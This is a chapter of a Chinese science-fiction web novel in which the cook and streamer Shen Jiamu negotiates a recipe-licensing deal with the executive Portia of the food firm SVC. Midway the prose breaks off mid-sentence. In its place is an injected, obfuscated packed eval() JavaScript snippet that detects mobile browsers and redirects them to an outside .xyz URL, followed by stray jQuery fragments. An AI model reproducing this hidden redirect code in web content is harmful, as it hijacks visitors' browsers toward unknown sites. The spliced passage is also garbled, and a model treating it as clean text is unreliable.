波蒂亚将目光从台面上摆放的水培芽苗上收回，这间餐厅与她去过的追求精简和科技感的其他餐厅感觉截然不同。


    精心、别出心裁的设计，木制家具的温馨感，不像餐厅，倒像是来朋友家聚餐，轻松又惬意。


    “中餐厅？”波蒂亚看着招牌上的字，不太理解。


    在战乱逃亡的数百年间，人类舍弃了一切低效的东西，其中就包括烹饪与美食。


    为追求效率，饮食行业一味向快捷靠拢，以致人才凋零、技法失传，“吃饱”成为唯一的要求，诞生了营养充沛、饱腹感极强、携带方便的营养液。


    后来局势稳定，但资本趁机介入，本就是因为资源匮乏才开启的“星际航程”，在落幕时问题不减反增。


    天然食材越发昂贵，廉价的“垃圾食品”成为了底层人不得不选择的唯一。


    渐渐地，“吃”不再是人们放在首要的价值需求。


    波蒂亚来之前就研究过沈嘉木的直播，手艺娴熟，目标明确，根据流量和观众喜好及时改变视频风格，有自己的独特标志，不论内容还是风格都无法在市面上找到同类型的。


    即使在沈嘉木大火后，争相模仿的博主简直如同雨后春笋。


    但连形都无法近似，更别说神了。


    当下，所有人都知道美食博主好出圈，但依旧很少有人经营此内容，原因之一，就在于天然食物是名副其实的奢侈品。


    烹饪技法，也是少数人才能掌握的秘辛。


    沈嘉木的技艺，更是星际难得一见的水平。


    所以波蒂亚在看见沈嘉木后很是惊讶，这般年轻，这般……普通，即使从直播中那双圆润厚实的手就能瞧出一二，但真实的冲击感还是无法消退。


    世外高人的想象，与现实反差过大。


    SVC之所以派具有话语权，还以谈判闻名的波蒂亚前来，一是知道沈嘉木不缺钱，二是需要尽快拿下合作。


    周边几家的动向已经很明显了，他们要做得就是“快”。


    “沈女士，我们市场部虽然未试饮过您研发的‘杨枝甘露’，但基于耳目一新的创意，我们相信成品的味道定然如外观一般惊艳。


    特别是鲜果与椰奶的搭配思路，与我们集团‘传统焕新’的战略方向高度契合。”


    波蒂亚所谓的“传统”，是指过去以水果原味作为营养液主基调，和即将研发沈嘉木这种复合口味的“焕新”。


    沈嘉木表面不动声色，内心却有些心虚于“您研发的杨枝甘露”这句话。


    心虚归心虚，赚钱的心不变，瞎话张口就来，“感谢认可。这个配方是我研发了两年的结果，做过无数次口味测试，您要是不介意，不妨先尝尝它的味道？”


    明亮的橙黄色装满玻璃杯，能看见色泽质感的分层，还有肉眼可见的果粒。


    波蒂亚指尖轻敲膝头，抑制住自己火急火燎想要接过的冲动，十分克制地端起，抿了一口。


    好家伙，波蒂亚轻咳。


    “集团愿意以300万买断配方，包含所有衍生开发权。考虑到后续量产需要的设备改造、渠道铺设等成本，销售分成我们建议按净利润的5%计算。”


    不动声色地将杯中饮品全部喝完，波蒂亚含着舌尖的西柚果粒，依旧口齿清晰地说完全部。


    “我们带着十足的诚意前来，这台最新型的‘跨维度气味桥接器’几乎能百分之百复刻气味，是集团赠送给您的礼物。”


    本来是为合作顺利准备的礼物，波蒂亚在喝下去第一口的瞬间，就决定不论结果了。


    波蒂亚在SVC地位不低，她尚且没尝过如此新鲜清甜的水果，沈嘉木的地位和身份，绝不止表面那么简单。


    更何况，这种人才光是结识就不虚此行。


    闻言，沈嘉木后悔闭眼。


    早知道她当初就不那么积极地买仪器了，买的还是落后的版本，白花那钱了啊。而且已经发货，不能取消订单了！


    “您不满意？”


    “那倒没有，”沈嘉木一边心里滴血，一边笑着摇头。


    没事没事，总能用到，用不到也能转手卖掉。钱嘛，肯定会越花越多、越来越多，来来来沈嘉木，默念十遍。


    “我尝过不少贵公司的产品，”沈嘉木进入主题。


    在做维修工的那一周内，沈嘉木就尝过这家公司的营养液，作为星际首屈一指的大型食品公司，他们有自己的供应链。


    而营养液的味道虽多，但说白了，调制出来的味道只求了个接近，就像白桃味的营养液，劣质的香味，像是用泡泡糖泡出的白水，味淡意寡。


    别说像杨枝甘露那般复杂的口味了，市面上大多是柠檬、苹果、香蕉等单一的水果口味。


    虽然喝下去后确实饱腹，一个上午也不会饿，营业元素也足够，但还是有些心酸，毕竟在沈嘉木看来喝是喝，吃是吃，连咀嚼动作都没有，太缺少满足感了。


    “除了那天直播的‘杨枝甘露’，我还准备了别的饮品，您要尝尝吗？”


    波蒂亚吞咽唾液，“麻烦您了。”


    沈嘉木用木盘端出自己事先准备好，去掉包装的各式饮料，有最基础的牛奶、茶水，还有成品的柠檬汽水，以及一杯预先调好冰镇的生椰酸奶。


    波蒂亚先惊讶，后品尝，然后再惊讶。


    饶是见过不少大风大浪，也被眼前的阵仗和嘴里的味道刺激得手抖，控制不住地喝了一口又一口。


    “买断制不符合我的预期，”沈嘉木继续道。


    “我目前在星网平台有一千五百万的垂直粉丝，配方辨识度本身带有流量。希望采用保底分成模式：2000万预付加15%净利润分成，同时保留限定款的联名开发权。”


    波蒂亚垂眸，眼里的情绪顷刻间就消失殆尽，宛如刚见面时，从站姿到穿着都能看出其尖锐的气场，“预付金可以谈到三千万，但分成比例需要调整。”


    “我们测算过，按首年五亿销售额预估，15%分成相当于七千五百万，这已经超过了行业标准的3倍。考虑到集团要承担生产、质检、物流全链条成本，8%是合理区间。”


    “再者，”波蒂亚勾起唇角，“配方必须完成专利权转让，这对品牌维权至关重要。我们可以增加保密条约，保证不向第三方泄露。”


    沈嘉木：“专利可以授权独家使用权十年，但所有权要保留在我的个人工作室。作为交换。我承诺五年内不与其他营养液品牌开发同类产品，同时要求在产品包装标注‘原创配方师’的头衔。”


    沈嘉木如此，是为了不被其余垄断企业打击，虽然有技术，但终究只是个有名无权的荒星领主。


    将自己的产品授权给大型企业，能增强个人抵御风险的能力，所以她如此专注于将自己与企业绑定。


    企业的人脉、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740083|174122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生产线、宣传和舆论引导、抗风险能力都不是沈嘉木个人能比拟的。


    波蒂亚：“我们可以接受授权模式，但需要增加优先续约条款。关于署名权，建议改为‘特邀产品顾问’，这样更符合集团VI系统的标准化要求。”


    “对于你这种专业人士来说，这些味道所能带来的价值不用言明，”沈嘉木手指绕着盆栽的枝条，“SVC虽然已经跻身行业前列，但‘宝越’总是与你们齐头并进，你们专研口味，它就侧重营养。”


    “贵司购买的不只是配方，这些天然食材是掌握在极少部分人手里的味道，所以高级餐饮业掌握定价权。没有人会把手里的东西漏给别人，除了我。”


    沈嘉木是在意时间的，因为离子风暴是一重，每个月的还款金额与利息也是一重。


    “如果分成比例降到8%，我希望增加阶梯激励：当年销售额超过5亿的部分按15%计算，同时需要集团承诺每季度提供销售数据表。”


    波蒂亚沉思，随即开口道：“阶梯分成可以接受，但需要您配合完成三项工作：第一，参与前三个月的营销策划；第二，每年提供两个限定款配方；第三，在您的自媒体平台进行不低于6次的品牌联动。”


    一番你来我往之后，双方终于达成了彼此都满意的最终共识：


    预付金4000万（含税）；


    基础分成9%+超额部分14%；


    五年独家授权+三年优先续约权；


    创作者每年提供2款限定配方；


    企业方每季度提供经营数据简报。


    波蒂亚摩挲着喝空的玻璃杯，“法务部会在三个工作日内出协议草案。我们计划将这款产品作为下季度的战略单品，渠道端已经预留了黄金位。”


    “我知道贵司一直不想局限于平价品牌，但我也不想让我的味道成为上流社会的专属，”沈嘉木想起在底城所亲见的一切。


    波蒂亚能看出来，沈嘉木的野心甚至不在于分成，而是将SVC与沈嘉木这个人牢牢绑定在一起。


    她实在无法忽视口中的味道，波蒂亚知道一旦新品上市，会以如何风卷残云的态势扩散，是垄断，是全面压制，是势在必得。


    不是因为沈嘉木谈判技巧了得，而是她的味道、手艺、食材本身就处于垄断地位。


    沈嘉木需要SVC充当她的马前卒，为她保驾护航，但沈嘉木也不需要SVC，马前卒可以是任何一个企业。


    像是知道波蒂亚在想什么，沈嘉木继续说道：“其实在你们找我后没多久，包括‘宝越’在内的诸多企业也都向我发出了商业邀请，但我一口回绝了。”


    “我觉得你们有足够敏锐的商业嗅觉，行动迅速而不拖沓，更重要的是，你们是第一个，我觉得有缘。”


    “缘分，总是要好好把握的。”


    “基础款式的水果味，高端款式的复合口味，”波蒂亚轻笑，“您放心，我们从未忘记自己是靠什么起家的，也不会在登高之后，就舍弃来时路。”


    两人相视一笑。


    沈嘉木看着见底的生椰酸奶，这是她最喜欢的饮品之一，配料仅有厚椰乳、酸奶和糖浆，做法简单，味道却很美妙。


    若美食成为了达官显贵的专属，那么民以食为天就成了妄言，这不符合沈嘉木的价值观。


    她要人人都能吃，都吃得好。


    这明明是最基本的事情。